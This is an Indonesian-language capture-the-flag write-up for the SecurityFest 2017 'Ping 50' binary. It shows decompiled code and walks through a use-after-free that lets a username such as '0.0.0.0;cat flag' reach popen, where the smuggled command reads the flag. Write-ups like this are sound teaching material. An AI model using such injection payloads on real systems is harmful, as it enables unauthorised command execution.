Security Fest 2017: Ping 50

Hari ini saya ingin mengulas salah satu tantangan di SecurityFest CTF 2017. Diberikan satu binary dimana saya harus mencari kelemahan didalamnya dan mencoba mengakses server tanpa otentikasi yang seharusnya saat binary dijalankan, ia meminta username yang disimpan dalam variabel ptr dan dialokasikan pada memori heap.

Saat program dijalankan.

./ping_17b9ad3601303bc42e8dff81c6391dac
====Login====
Enter username: dummy

Pseudocode fungsi login.

int sub_400A3E()
{
  int v0; // ST0C_4@1

  puts("====Login====");
  printf("Enter username: ");
  v0 = sub_400986(256);
  ptr = malloc(v0 + 1);
  memcpy(ptr, byte_602060, v0);
  return puts("Logged in!");
}

Pada opsi Set IP, binary meminta IP yang disimpan dalam variabel dest dan dialokasikan pada memori heap.

Logged in!

Ping! Welcome dummy
===============
1) Set IP
2) Ping
3) Logout

#> 1
Enter IP-address: 0.0.0.0
IP set! Ready to ping

Opsi 3 dipilih dengan isian N agar variabel ptr dan dest dibebaskan dari memori heap.

Ping! Welcome dummy
===============
1) Set IP
2) Ping
3) Logout

#> 3
Logged out!
Do you want to quit too Y/N?:N
====Login====
Enter username:
__int64 sub_400AB1()
{
  __int64 result; // rax@5

  printf("Logged out!\nDo you want to quit too Y/N?:");
  if ( ptr )
    free(ptr);
  if ( dest )
    free(dest);
  read(0, &byte_602040, 2uLL);
  result = (unsigned int)byte_602040;
  if ( (_DWORD)result == 89 )
    exit(0);
  return result;
}

Pada pilihan berikutnya, masukkan payload command injection agar disimpan dalam variabel ptr.

Enter username: 0.0.0.0;cat flag
Logged in!

Ping! Welcome 0.0.0.0;cat flag
===============
1) Set IP
2) Ping
3) Logout

#> 2

Pilih opsi 2, dimana fungsi tersebut akan menggunakan variabel ptr sebagai pengganti variabel dest yang telah dibebaskan sebelumnya dan akan payload tersebut akan berjalan sebagaimana mestinnya disebabkan oleh fungsi popen yang cukup berbahaya.

PING 0.0.0.0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.042 ms

--- 0.0.0.0 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.042/0.042/0.042/0.000 ms
SCTF{p1ng_p0ng_h3r3_1s_4_fl4g}

Ping! Welcome 0.0.0.0;cat flag
===============
1) Set IP
2) Ping
3) Logout

#>

Kesimpulannya, binary ini memiliki kelemahan Use After Free dan fungsi popen yang sangat terbuka.

results matching ""

    No results matching ""